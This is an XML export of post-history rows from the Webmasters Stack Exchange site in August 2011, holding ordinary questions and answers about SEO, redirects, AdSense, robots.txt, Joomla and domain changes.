  <row Id="42617" PostHistoryTypeId="5" PostId="17666" RevisionGUID="dba8bba3-823e-414b-b7ef-01f5aaa5634e" CreationDate="2011-08-02T07:44:59.673" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How bad is it to use display: none in CSS?](http://webmasters.stackexchange.com/questions/1377/how-bad-is-it-to-use-display-none-in-css)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I am planning to use Accrodion and Jquery in My website. previously to animate the contents in the website i used Flash but content (text ) in the flash are not indexable in the search engine &#xD;&#xA;&#xD;&#xA;and since major contents of my site comes with in animated Tab using Accordion and J query and most of the text are hidden in DIV so i want to know whether this will effect the SEO.&#xD;&#xA;&#xD;&#xA;Because most of the contents are hidden initially by default and by definition of Black hat Seo,this sounds similar to black hat SEO ...&#xD;&#xA;&#xD;&#xA; will google treat my site same as Black hat SEO or Is using Accordion in website is acceptable in SEO ? " />
  <row Id="42618" PostHistoryTypeId="10" PostId="17666" RevisionGUID="103be3b4-5773-43fb-a1b0-9233e38495d9" CreationDate="2011-08-02T07:44:59.110" UserId="1064" CloseReasonId="1" Text="[{&quot;Id&quot;:1064,&quot;DisplayName&quot;:&quot;danlefree&quot;}]" />
  <row Id="42619" PostHistoryTypeId="2" PostId="17670" RevisionGUID="a56dad91-18c7-48af-b211-127e0dae69ea" CreationDate="2011-08-02T07:55:18.380" UserId="1643" Text="The key is in this sentence:&#xD;&#xA;&#xD;&#xA;&gt; The server will set your pages to be hosted at example.com, and create&#xD;&#xA;&gt; redirects from www.example.com and charlie.github.com to example.com.&#xD;&#xA;&#xD;&#xA;&quot;The server&quot; is the github server and they've put a redirect on that from www to the naked domain. They could if they wanted to make www.example.com not redirect. You could ask through support that they don't do this, but they may not want to do a special for you." />
  <row Id="42626" PostHistoryTypeId="2" PostId="17672" RevisionGUID="5964761a-d227-4dc7-acb9-0335ed2095b9" CreationDate="2011-08-02T08:04:41.757" UserId="9204" Text="I'm starting to post some affiliate ads on my website. As it happens, I am not even close to making a sale. &#xD;&#xA;&#xD;&#xA;- I'm not sure if the products I have chosen will appeal to the audience I have. &#xD;&#xA;- I'm not sure if the volume of traffic is enough to support affiliate programs. I get about 8000-9000 visitors everyday. But since its growing constantly, thats not much of a worry.&#xD;&#xA;&#xD;&#xA;But I'm surely struggling to figure out what kind of products to market? (its a techie site).&#xD;&#xA;&#xD;&#xA;Is there a service/tool which can analyze the website and suggest what products will do well and what won't?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="42627" PostHistoryTypeId="1" PostId="17672" RevisionGUID="5964761a-d227-4dc7-acb9-0335ed2095b9" CreationDate="2011-08-02T08:04:41.757" UserId="9204" Text="What are the tactics used to discover what kind of affiliate products will do well in your website?" />
  <row Id="42628" PostHistoryTypeId="3" PostId="17672" RevisionGUID="5964761a-d227-4dc7-acb9-0335ed2095b9" CreationDate="2011-08-02T08:04:41.757" UserId="9204" Text="&lt;marketing&gt;&lt;affiliate&gt;" />
  <row Id="42629" PostHistoryTypeId="25" PostId="17663" RevisionGUID="59839fbb-72e1-49b4-b258-97fd5648f4ed" CreationDate="2011-08-02T09:34:01.913" Comment="http://twitter.com/#!/StackWebmasters/status/98325672757444608" />
  <row Id="42630" PostHistoryTypeId="2" PostId="17673" RevisionGUID="afddb4a3-bb86-44e4-8449-1a477c1a5ca3" CreationDate="2011-08-02T10:38:49.387" UserId="9327" Text="I run a website with two languages (English and Norwegian).&#xD;&#xA;There is one website, but two domains (www.domain.com and www.domain.no), if u visit domain.com u get English language and if you visit domain.no you get Norwegian language.&#xD;&#xA;&#xD;&#xA;This works like it should on the website, but my problem is with the Google search results. If I Google my domain name I get search results only in English, even though my Google settings are set to Norwegian.&#xD;&#xA;&#xD;&#xA;I want the Google search to present my site in Norwegian if im using a browser with Norwegian settings, and Norwegian Google search. And I want Google to present my site in English if a user has other language preferences than Norwegian.&#xD;&#xA;&#xD;&#xA;How can this be accomplished?" />
  <row Id="42631" PostHistoryTypeId="1" PostId="17673" RevisionGUID="afddb4a3-bb86-44e4-8449-1a477c1a5ca3" CreationDate="2011-08-02T10:38:49.387" UserId="9327" Text="Google search results from multilanguage site" />
  <row Id="42632" PostHistoryTypeId="3" PostId="17673" RevisionGUID="afddb4a3-bb86-44e4-8449-1a477c1a5ca3" CreationDate="2011-08-02T10:38:49.387" UserId="9327" Text="&lt;seo&gt;&lt;google&gt;" />
  <row Id="42634" PostHistoryTypeId="5" PostId="11492" RevisionGUID="12ada447-b273-4547-876e-f8365ecb2706" CreationDate="2011-08-02T11:12:58.890" UserId="233" Comment="used real link instead of shortener" Text="I have h2 and h5 headings with generic names here: http://nybodyart.com (NSFW) such as 'editor picks' 'tags' 'all articles' would it be better for SEO to give them unique and almost playful names with keywords?" />
  <row Id="42635" PostHistoryTypeId="5" PostId="17643" RevisionGUID="e4157101-7380-4f68-839f-b4978d6d68dd" CreationDate="2011-08-02T11:19:14.733" UserId="233" Comment="fixed link" Text="i received a mail from the adsense team saying:&#xD;&#xA;&#xD;&#xA;I am not an adsense expert, im actually quite new to it.&#xD;&#xA;I spent a lot of time on my site http://www.media1.rs, its a news aggregator with tons of options. In the meantime i discovered the double click service that had a good option to turn on google ads when you don't have any other running so i joined up for google adsense with my company account. Everything went smooth until one day (21.Jul.2011) i got an email...&#xD;&#xA;&#xD;&#xA;&gt; Hello,&#xD;&#xA;&gt; &#xD;&#xA;&gt; After reviewing our records, we've determined that your AdSense&#xD;&#xA;&gt; account poses a risk of generating invalid activity. Because we have a&#xD;&#xA;&gt; responsibility to protect our AdWords advertisers from inflated costs&#xD;&#xA;&gt; due to invalid activity, we've found it necessary to disable your&#xD;&#xA;&gt; AdSense account. Your outstanding balance and Google's share of the&#xD;&#xA;&gt; revenue will both be fully refunded back to the affected advertisers.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Please understand that we need to take such steps to maintain the&#xD;&#xA;&gt; effectiveness of Google's advertising system, particularly the&#xD;&#xA;&gt; advertiser-publisher relationship. We understand the inconvenience&#xD;&#xA;&gt; that this may cause you, and we thank you in advance for your&#xD;&#xA;&gt; understanding and cooperation.&#xD;&#xA;&gt; &#xD;&#xA;&gt; If you have any questions or concerns about the actions we've taken,&#xD;&#xA;&gt; how you can appeal this decision, or invalid activity in general, you&#xD;&#xA;&gt; can find more information by visiting&#xD;&#xA;&gt; http://www.google.com/adsense/support/bin/answer.py?answer=57153.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Sincerely,&#xD;&#xA;&gt; &#xD;&#xA;&gt; The Google AdSense Team&#xD;&#xA;&#xD;&#xA;At first i didn't have any idea why... but then it came to me that it was maybe the auto refresh script we had because we publish news very very often and it would be useful for visitors... but i removed it immediately after i got the mail... Then i thought it might be my friends clicking thinking that that will help me (i didn't tell them to do it and don't know if they did) or something like that but than it couldn't be that because everyone can organize 10 people and get anyone who is a start-up banned? right?&#xD;&#xA;&#xD;&#xA;Anyway i filled out the form that was on the answers page with the previously removed script and got this from them:&#xD;&#xA;&#xD;&#xA;&gt; Hello,&#xD;&#xA;&gt; &#xD;&#xA;&gt; Thank you for your appeal. We appreciate the additional information&#xD;&#xA;&gt; you've provided, as well as your continued interest in the AdSense&#xD;&#xA;&gt; program. However, after thoroughly re-reviewing your account data and&#xD;&#xA;&gt; taking your feedback into consideration, our specialists have&#xD;&#xA;&gt; confirmed that we're unable to reinstate your AdSense account.&#xD;&#xA;&gt; &#xD;&#xA;&gt; As a reminder, if you have any questions or concerns about your&#xD;&#xA;&gt; account, the actions we've taken, or invalid activity in general, you&#xD;&#xA;&gt; can find more information by visiting&#xD;&#xA;&gt; http://www.google.com/adsense/support/bin/answer.py?answer=57153.&#xD;&#xA;&#xD;&#xA;I do understand them that they have to keep things secret in a way but i don't know what I'm supposed to do now? Is there a check list that i can go through and re-apply? Where do i re-apply on the same form?&#xD;&#xA;&#xD;&#xA;Please help as we are a small company and cant really have a budget for hiring a specialist + don't know any also...&#xD;&#xA;&#xD;&#xA;p.s. the current ads on the site are my own through doubleclick...&#xD;&#xA;&#xD;&#xA;Thanks in advance!&#xD;&#xA;&#xD;&#xA;Best,&#xD;&#xA;Karington" />
  <row Id="42636" PostHistoryTypeId="5" PostId="17657" RevisionGUID="933d22e3-618f-4dd3-b8b7-2e67367481c8" CreationDate="2011-08-02T11:26:26.663" UserId="233" Comment="fixed spelling/grammar" Text="You could use a virtual machine, like Virtualbox, VMware, etc. but you would need to have a license of Mac OS to test it with.&#xD;&#xA;&#xD;&#xA;Safari, however, should look the same on all operating systems it runs on (in theory), and that seems like a pretty big flaw, so I would assume that the problem is somewhere else." />
  <row Id="42638" PostHistoryTypeId="2" PostId="17676" RevisionGUID="4cd7cd56-1b32-4e29-b43e-95531fd0f11a" CreationDate="2011-08-02T11:55:10.677" UserId="9135" Text="I want to have an intro page on my Joomla site. Before the index file loads, I'd like to display a page where user will fill in some data and get into the website after that (choosing the language when pressing submit button).&#xD;&#xA;&#xD;&#xA;I made smth that works like that, but I can't send a session to Joomla. In Joomla's template index file I'm checking the Session, if it's not set I redirect user to my intro page, if it's set user should continue sufring my site. So I can't get the session set in index file. I have start session() on my intro page, but it's not working.&#xD;&#xA;&#xD;&#xA;Maybe there's any ready component or smth... or maybe you can tell me what the problem can be?" />
  <row Id="42639" PostHistoryTypeId="1" PostId="17676" RevisionGUID="4cd7cd56-1b32-4e29-b43e-95531fd0f11a" CreationDate="2011-08-02T11:55:10.677" UserId="9135" Text="Joomla intro Page" />
  <row Id="42640" PostHistoryTypeId="3" PostId="17676" RevisionGUID="4cd7cd56-1b32-4e29-b43e-95531fd0f11a" CreationDate="2011-08-02T11:55:10.677" UserId="9135" Text="&lt;php&gt;&lt;joomla&gt;" />
  <row Id="42641" PostHistoryTypeId="25" PostId="17673" RevisionGUID="170bf2ad-130e-429a-9644-65094f71e27f" CreationDate="2011-08-02T12:34:01.790" Comment="http://twitter.com/#!/StackWebmasters/status/98370971479707648" />
  <row Id="42642" PostHistoryTypeId="2" PostId="17677" RevisionGUID="83584571-16bb-41f1-9231-5afa8a725834" CreationDate="2011-08-02T12:55:34.267" UserId="9329" Text="I'm planning on using templates for some clients, and I found DreamTemplate.com.&#xD;&#xA;&#xD;&#xA;Has anyone had experience with them? Are they a scam? Do they provide quality html/css?&#xD;&#xA;&#xD;&#xA;I see that BlueWebTemplates is almost a copy of this site which makes it strange. Also online reviews seemed fake, but maybe I'm just paranoid.&#xD;&#xA;&#xD;&#xA;Please advise!&#xD;&#xA;&#xD;&#xA;One of my client liked a specific template on their website." />
  <row Id="42643" PostHistoryTypeId="1" PostId="17677" RevisionGUID="83584571-16bb-41f1-9231-5afa8a725834" CreationDate="2011-08-02T12:55:34.267" UserId="9329" Text="Is DreamTemplate.com good?" />
  <row Id="42644" PostHistoryTypeId="3" PostId="17677" RevisionGUID="83584571-16bb-41f1-9231-5afa8a725834" CreationDate="2011-08-02T12:55:34.267" UserId="9329" Text="&lt;website-design&gt;&lt;template&gt;" />
  <row Id="42645" PostHistoryTypeId="2" PostId="17678" RevisionGUID="e0ae2250-8f2a-478a-9105-b82f582e3201" CreationDate="2011-08-02T13:16:36.887" UserId="5806" Text="**What are image-specific factors that contribute to ranking in [Google Image Search][1]?**&#xD;&#xA;&#xD;&#xA;Looking for what contributes to **ranking and relevancy of images above and beyond the SEO of the hosting site itself**.&#xD;&#xA;&#xD;&#xA;My [online gallery][2] for example ranks well for keyword in normal (text) search but much less in image search. Furthermore, results in image search are often wrong while text search results are not. Specifically, pictures of some places or monuments often show up for searches for another place.&#xD;&#xA;&#xD;&#xA;  [1]: http://images.google.com/&#xD;&#xA;  [2]: http://www.neoluminance.com" />
  <row Id="42646" PostHistoryTypeId="1" PostId="17678" RevisionGUID="e0ae2250-8f2a-478a-9105-b82f582e3201" CreationDate="2011-08-02T13:16:36.887" UserId="5806" Text="Image Search Ranking" />
  <row Id="42647" PostHistoryTypeId="3" PostId="17678" RevisionGUID="e0ae2250-8f2a-478a-9105-b82f582e3201" CreationDate="2011-08-02T13:16:36.887" UserId="5806" Text="&lt;images&gt;&lt;ranking&gt;&lt;image-search&gt;" />
  <row Id="42648" PostHistoryTypeId="2" PostId="17679" RevisionGUID="b3d2f086-7f32-43be-819d-f56d55d7a5c8" CreationDate="2011-08-02T13:21:06.517" UserId="1253" Text="Possible factors:&#xD;&#xA;&#xD;&#xA;- ALT attribute values&#xD;&#xA;- If the image is included in a hyperlink, anchor text&#xD;&#xA;- Surrounding text&#xD;&#xA;- Relevance of the page for keywords&#xD;&#xA;- Links pointing directly to the image&#xD;&#xA;- Links pointing to the page the image is on" />
  <row Id="42649" PostHistoryTypeId="10" PostId="17677" RevisionGUID="b74f59a1-e3bf-4d26-a962-13df32949931" CreationDate="2011-08-02T13:23:43.987" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="42651" PostHistoryTypeId="5" PostId="17661" RevisionGUID="a61189b3-b4b0-4221-8ac1-993f420f41a7" CreationDate="2011-08-02T13:25:04.470" UserId="1253" Comment="added 315 characters in body" Text="I remember first starting out using tables for layouts and learned that I should not be doing that. I am working on a new site and can not seem to do equal height columns without using tables. Here is an example of the attempt with div tags.&#xD;&#xA;&#xD;&#xA;    &lt;div class=&quot;row&quot;&gt;&#xD;&#xA;    &lt;div class=&quot;column&quot;&gt;column1&lt;/div&gt;&#xD;&#xA;    &lt;div class=&quot;column&quot;&gt;column2&lt;/div&gt;&#xD;&#xA;    &lt;div class=&quot;column&quot;&gt;column3&lt;/div&gt;&#xD;&#xA;    &lt;div style=&quot;clear:both&quot;&gt;&lt;/div&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;Now what I tried with that was doing making columns float left and setting their widths to 33% which works fine, I use the clear:both div so that the row would be the size of the biggest column, but the columns will be different sizes based on how much content they have. I have found many fixes which mostly involve css hacks and just making it look like its right but that's not what I want. I thought of just doing it in javascript but then it would look different for those who choose to disable their javascript. The only true way of doing it that I can think of is using tables since the cells all have equal heights in the same row. But I know its bad to use tables. After searching forever I than came across this: [http://intangiblestyle.com/lab/equal-height-columns-with-css/][1]&#xD;&#xA;What it seems to do is exactly the same as tables since its just setting its display exactly like tables. Would using that be just as bad as using tables? I honestly can't find anything else that I could do.&#xD;&#xA;&#xD;&#xA;**edit**&#xD;&#xA;&#xD;&#xA;@Su' I have looked into &quot;faux columns&quot; and do not think that is what I want. I think I would be able to implement better designs for my site using the display:table method. I posted this question because I just wasn't sure if I should since I have always heard its bad using tables in website layouts.&#xD;&#xA;&#xD;&#xA;  [1]: http://intangiblestyle.com/lab/equal-height-columns-with-css/" />
  <row Id="42652" PostHistoryTypeId="2" PostId="17680" RevisionGUID="9035a318-ee06-440b-8270-c2ab73b12565" CreationDate="2011-08-02T13:25:22.277" UserId="5806" Text="**Is there a way to mark a section of a webpage (div) so that it is not considered for ranking?**&#xD;&#xA;&#xD;&#xA;What I am seeing is that sometimes a page ranks for a keyword which is not permanently on that page but only there randomly or semi-randomly. For example, a div may show a random image, or the most popular item or article for that day, or simply a random quote. It gives something interesting for recurring visitors but when the enclosing page ranks for keywords which appeared in those sections (and may no longer appear) is feels less than ideal." />
  <row Id="42653" PostHistoryTypeId="1" PostId="17680" RevisionGUID="9035a318-ee06-440b-8270-c2ab73b12565" CreationDate="2011-08-02T13:25:22.277" UserId="5806" Text="Is there a way to mark content as random?" />
  <row Id="42654" PostHistoryTypeId="3" PostId="17680" RevisionGUID="9035a318-ee06-440b-8270-c2ab73b12565" CreationDate="2011-08-02T13:25:22.277" UserId="5806" Text="&lt;seo&gt;&lt;ranking&gt;&lt;random&gt;" />
  <row Id="42655" PostHistoryTypeId="5" PostId="17679" RevisionGUID="d939dd05-5c80-49dd-9555-fa9273db66f5" CreationDate="2011-08-02T13:27:35.700" UserId="1253" Comment="added 29 characters in body" Text="Possible factors:&#xD;&#xA;&#xD;&#xA;- ALT attribute values&#xD;&#xA;- If the image is included in a hyperlink, anchor text&#xD;&#xA;- Surrounding text&#xD;&#xA;- Relevance of the page for keywords&#xD;&#xA;- Links pointing directly to the image&#xD;&#xA;- Links pointing to the page the image is on&#xD;&#xA;- Keywords in the file name&#xD;&#xA;- Meta data in the image" />
  <row Id="42656" PostHistoryTypeId="5" PostId="17680" RevisionGUID="b9dc7d40-6c3e-4169-a94e-23239cc407fc" CreationDate="2011-08-02T13:34:47.783" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Is there any way to have search engines not index a certain section of a page?](http://webmasters.stackexchange.com/questions/1355/is-there-any-way-to-have-search-engines-not-index-a-certain-section-of-a-page)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;**Is there a way to mark a section of a webpage (div) so that it is not considered for ranking?**&#xD;&#xA;&#xD;&#xA;What I am seeing is that sometimes a page ranks for a keyword which is not permanently on that page but only there randomly or semi-randomly. For example, a div may show a random image, or the most popular item or article for that day, or simply a random quote. It gives something interesting for recurring visitors but when the enclosing page ranks for keywords which appeared in those sections (and may no longer appear) is feels less than ideal." />
  <row Id="42657" PostHistoryTypeId="10" PostId="17680" RevisionGUID="0e6751a4-5d1e-4b01-86b8-b9de1cdc0006" CreationDate="2011-08-02T13:34:46.927" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="42658" PostHistoryTypeId="17" PostId="17681" RevisionGUID="4d53e283-2b56-4610-ad14-886fe9bbbfc2" CreationDate="2011-08-02T13:40:41.430" UserId="-1" Comment="from http://stackoverflow.com/questions/6912068/is-it-possible-to-purchase-a-non-recurring-credit-on-google-app-engine" Text="" />
  <row Id="42659" PostHistoryTypeId="17" PostId="17682" RevisionGUID="fb9d37b5-a25a-409a-a687-ab7a0a80ad41" CreationDate="2011-08-02T13:40:41.430" UserId="-1" Comment="from http://stackoverflow.com/questions/6912068/is-it-possible-to-purchase-a-non-recurring-credit-on-google-app-engine" Text="" />
  <row Id="42660" PostHistoryTypeId="2" PostId="17682" RevisionGUID="fe251078-e666-4a4c-9198-e8c0b6ccb868" CreationDate="2011-08-02T13:34:37.257" UserId="9167" Text="It is currently not possible, however, you aren't charged for usage below the free quotas." />
  <row Id="42661" PostHistoryTypeId="2" PostId="17681" RevisionGUID="a73e4c64-7bf9-44da-b572-1ae3cd5c9742" CreationDate="2011-08-02T12:28:04.647" UserDisplayName="Duncan" Text="&#xD;&#xA;My birthday is coming up and my parents asked me what I would like for a present.&#xD;&#xA;&#xD;&#xA;I said &quot;App Engine CPU hours&quot;.&#xD;&#xA;&#xD;&#xA;But after looking at the billing options, I can't find a way for them to make a one-time credit to my account. The only option seems to be an authorization of a maximum billing amount for a particular time frame.&#xD;&#xA;&#xD;&#xA;Is it not possible to give someone App Engine resources as a one-time gift?" />
  <row Id="42662" PostHistoryTypeId="1" PostId="17681" RevisionGUID="a73e4c64-7bf9-44da-b572-1ae3cd5c9742" CreationDate="2011-08-02T12:28:04.647" UserDisplayName="Duncan" Text="Is it possible to purchase a non-recurring credit on Google App Engine?" />
  <row Id="42663" PostHistoryTypeId="3" PostId="17681" RevisionGUID="a73e4c64-7bf9-44da-b572-1ae3cd5c9742" CreationDate="2011-08-02T12:28:04.647" UserDisplayName="Duncan" Text="&lt;google-app-engine&gt;" />
  <row Id="42664" PostHistoryTypeId="2" PostId="17683" RevisionGUID="a0a5ad6d-5fc3-4e28-9cb0-f452cef785e0" CreationDate="2011-08-02T13:42:39.173" UserId="8557" Text="In Google Webmaster Central, I have decided that my search results will be shown as non-www but I also decided that my site redirects to www. Will this be a problem for my seo." />
  <row Id="42665" PostHistoryTypeId="1" PostId="17683" RevisionGUID="a0a5ad6d-5fc3-4e28-9cb0-f452cef785e0" CreationDate="2011-08-02T13:42:39.173" UserId="8557" Text="Showing non www on Google but redirecting it to www" />
  <row Id="42666" PostHistoryTypeId="3" PostId="17683" RevisionGUID="a0a5ad6d-5fc3-4e28-9cb0-f452cef785e0" CreationDate="2011-08-02T13:42:39.173" UserId="8557" Text="&lt;google-webmaster-tools&gt;" />
  <row Id="42667" PostHistoryTypeId="2" PostId="17684" RevisionGUID="cb88e178-f7ee-4a35-817c-d790b7b42536" CreationDate="2011-08-02T13:51:18.370" UserId="1248" Text="foo.bar and www.foo.bar would show as separate sites if not done properly.  are you handling the redirect through a DNS cname or a 301 redirect?" />
  <row Id="42668" PostHistoryTypeId="2" PostId="17685" RevisionGUID="1b730bef-04a9-4b30-9ae0-5a1867e8b23b" CreationDate="2011-08-02T13:58:40.093" UserId="9123" Text="no. there is no problem SEO-wise. in the WMT you can set which url will be displayed (in your case: the non-www url).&#xD;&#xA;&#xD;&#xA;just make sure to handle redirects the appropriate way. via .htacces you would need to set up the following:&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteBase /&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^yoururl.com [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://www.yoururl.com/$1 [L,R=301]&#xD;&#xA;&#xD;&#xA;this will redirect all incoming traffic from &quot;yoururl.com&quot; to &quot;www.yoururl.com&quot;." />
  <row Id="42669" PostHistoryTypeId="2" PostId="17686" RevisionGUID="01782674-b28c-4a13-8add-87b7ebead149" CreationDate="2011-08-02T14:02:39.967" UserId="9123" Text="ok, this is what i usually do:&#xD;&#xA;&#xD;&#xA;set up adsense on your site, incl. channels. let it run for a couple of days so google gets a chance to target ads relevant for your audience.&#xD;&#xA;&#xD;&#xA;now:&#xD;&#xA;&#xD;&#xA;1. check the ads you get from google&#xD;&#xA;2. check in your adsense account the different ad types you get (dating, technology, etc.)&#xD;&#xA;3. measure which channels and what type of ads get you the most clicks&#xD;&#xA;4. pick and choose your affiliate deals and programs according to those that got you the most clicks with google" />
  <row Id="42670" PostHistoryTypeId="2" PostId="17687" RevisionGUID="c7315c86-f0f3-49d8-8f71-b5e6b48a3feb" CreationDate="2011-08-02T14:06:41.500" UserId="9331" Text="You can do partial refunds only if the payment method supports partial refunds. In the payment method class of the payment method used for the order you must have `protected $_canRefundInvoicePartial = true;` " />
  <row Id="42671" PostHistoryTypeId="2" PostId="17688" RevisionGUID="6e861a3c-cd45-45e6-a9a6-4b950ebd2cf8" CreationDate="2011-08-02T14:06:57.040" UserId="9332" Text="There is also a site which calculates cloud hosting prices from various providers - [www.cloudorado.com][1]. You can just check how much would cost a server you need from various providers. Amazon is often not the cheapest unless micro instance is used. &#xD;&#xA;&#xD;&#xA;  [1]: http://www.cloudorado.com/" />
  <row Id="42672" PostHistoryTypeId="5" PostId="17239" RevisionGUID="607ca70e-55a6-4135-8287-c1804bedfc49" CreationDate="2011-08-02T14:08:00.960" UserId="9123" Comment="fixed small typo" Text="I'm afraid this is not a question easily answered. I would seriously think about talking to some CDN service (like Akamai). They usually have good solutions to streaming live TV to larger audiences, but that will come with a price.&#xD;&#xA;&#xD;&#xA;Another client of mine was streaming a very low quality TV stream at 320kbps for approx. 200-500 (peak) viewers and even with a 90/10 cutoff (where the top 10 percent are not calculated) the streaming costs are astronomical!&#xD;&#xA;&#xD;&#xA;To host the stream, you typically have a server located at the source of the TV stream, which feeds the RSTP straight into a preconfigured CDN server. Worst case is, if you happen to not be able to create that stream yourself, you would need to set one up, rent or purchase one. Just make sure that the feeding server has enough bandwidth to feed the signal once and protect the server from direct access (only the CDN being able to access the stream).&#xD;&#xA;&#xD;&#xA;Seriously, talk to a CDN provider!" />
  <row Id="42673" PostHistoryTypeId="2" PostId="17689" RevisionGUID="c2463170-5c5a-4da5-ac6e-c6e714eb0f71" CreationDate="2011-08-02T14:19:46.363" UserId="9123" Text="the data is correct, your math is too. the only difference on why you get a discrepancy of 1244 is because you are calculating with only 2 decimal numbers.&#xD;&#xA;&#xD;&#xA;if for example your &quot;real&quot; bounce rate is 91.7653% (and not 91.76% flat) that would result in 89659 direct entrances&#xD;&#xA;&#xD;&#xA;    .917653 * 97710 = 89663&#xD;&#xA;    .644353 * 89663 = 57774&#xD;&#xA;    and so forth&#xD;&#xA;&#xD;&#xA;also your total exit rate can be smaller than your bounce rate. for example visitors could time out on your site and hence a new session is made without accounting for an exit ..." />
  <row Id="42674" PostHistoryTypeId="2" PostId="17690" RevisionGUID="1abb8a61-c4d5-47a7-941b-822a11f913df" CreationDate="2011-08-02T14:24:12.973" UserId="9123" Text="another good resource to get you started is avinash kaushik's blog (THE analytics guru, now employed at google, handling google analytics):&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[Avinash Kaushik's Blog: Occam's Razor][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kaushik.net" />
  <row Id="42675" PostHistoryTypeId="2" PostId="17691" RevisionGUID="19b2465d-d052-49dc-906a-9d2627c1fdfe" CreationDate="2011-08-02T14:34:54.977" UserId="9256" Text="I have a question regarding how to write robots.txt files for many domains and subdomains with redirects in place.&#xD;&#xA;&#xD;&#xA;We have a hosting account that enacts primary and add-on domains. All of our domains and subdomains, including the primary domain, is redirected via htaccess 301s to their own subdirectories in(what otherwise would be) the primary domain's root directory.&#xD;&#xA;&#xD;&#xA;I'm confused about how I would write the robots.txt for certain directories. First, I wanted to confirm I am right in understanding that for domains *and* subdomains, crawlers will look to the directory that acts as that urls root directory for the crawling rules(robots.txt). Also, that a directory will not be affected by a robots.txt present in their parent directory if the directory has its own domain/subdomain, and that url is the one being accessed by crawlers. (Am pretty sure, but I wanted to confirm I didnt have a fundamentally flawed understanding of robots.txt)&#xD;&#xA;&#xD;&#xA;In the original root directory on the account(where the primary domain was directed before htaccess was put in place) what should the robots.txt contain? When crawlers look to crawl our primary domain, will they look to the original root directory for the robots.txt or will they reference the file contained in the new subdirectory where all the primary domain's site files are located? If so, what should the root's robot.txt include if anything at all. &#xD;&#xA;&#xD;&#xA;Would I be right to include a simple 'disallow: /' for all agents, and then include more specific robots.txt files in each subdirectory with more specific instructions. Would that affect the crawling of the directory where the primary domain is now redirected?&#xD;&#xA;&#xD;&#xA;Any help is greatly appreciated, Thanks!" />
  <row Id="42676" PostHistoryTypeId="1" PostId="17691" RevisionGUID="19b2465d-d052-49dc-906a-9d2627c1fdfe" CreationDate="2011-08-02T14:34:54.977" UserId="9256" Text="Robots.txt practices with .htaccess reredictions (inherits)" />
  <row Id="42677" PostHistoryTypeId="3" PostId="17691" RevisionGUID="19b2465d-d052-49dc-906a-9d2627c1fdfe" CreationDate="2011-08-02T14:34:54.977" UserId="9256" Text="&lt;robots.txt&gt;&lt;301-redirect&gt;&lt;web-crawlers&gt;" />
  <row Id="42678" PostHistoryTypeId="5" PostId="17647" RevisionGUID="b3d11aa3-c694-4d8f-a333-57b6a2ce3ecf" CreationDate="2011-08-02T15:20:07.507" UserId="9324" Comment="added 50 characters in body" Text="this is my first question on here so I do apologise in advance if I do something wrong. I'm a web designer, not a programmer (just for the record)!&#xD;&#xA;&#xD;&#xA;I have to add a custom welcome tab to a Facebook fan page, and...I don't know how to do it. I have googled and found several tutorials, but I can't seem to follow any of them because my experience always deviates from what the guides lead me to expect! &#xD;&#xA;&#xD;&#xA;The tutorial I've seen most recommended is this: http://www.hyperarts.com/blog/adding-iframe-application-to-facebook-fan-page/&#xD;&#xA;However, I've tried it and I just don't get the same pages or forms as shown. &#xD;&#xA;&#xD;&#xA;After I create and name a new app, the tutorial says I need to go to the Facebook Integration tab and fill in the fields &quot;Tab URL&quot;, &quot;Secure Tab URL&quot; etc. I can't find any of this. The forms I have found ask for a whole load more information such as &quot;Canvas Page&quot;, &quot;Canvas URL&quot;, &quot;Bookmark URL&quot; and more, but I simply don't know what I'm supposed to put in here.&#xD;&#xA;&#xD;&#xA;If anyone could advise me (in the most basic terms), or point me to a very simple tutorial then I would be most grateful. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;EDIT: Think I have this sorted - thank you. " />
  <row Id="42679" PostHistoryTypeId="25" PostId="17681" RevisionGUID="00f08efc-55f5-4fa6-9e9c-fd849dec9ec2" CreationDate="2011-08-02T15:34:01.853" Comment="http://twitter.com/#!/StackWebmasters/status/98416270201991168" />
  <row Id="42680" PostHistoryTypeId="2" PostId="17692" RevisionGUID="08ed442c-ba0d-4f30-833f-2a67950d55c8" CreationDate="2011-08-02T15:42:13.457" UserId="9336" Text="Suppose I have an existing site and I want to change the domain name without changing hosting.&#xD;&#xA;&#xD;&#xA;I could set up a 301 redirect from the new site to the old site, but that doesn't actually change the name, it just redirects.&#xD;&#xA;&#xD;&#xA;I could set up new hosting and actually move the site to the new host with a 301 redirect from old to new, but that means paying for new hosting which I'd like to avoid since I don't actually need two sites running.&#xD;&#xA;&#xD;&#xA;What other options do I have?&#xD;&#xA;" />
  <row Id="42681" PostHistoryTypeId="1" PostId="17692" RevisionGUID="08ed442c-ba0d-4f30-833f-2a67950d55c8" CreationDate="2011-08-02T15:42:13.457" UserId="9336" Text="Change domain name for existing site, what is the easiest and cheapest way?" />
  <row Id="42682" PostHistoryTypeId="3" PostId="17692" RevisionGUID="08ed442c-ba0d-4f30-833f-2a67950d55c8" CreationDate="2011-08-02T15:42:13.457" UserId="9336" Text="&lt;web-hosting&gt;&lt;domain-names&gt;" />
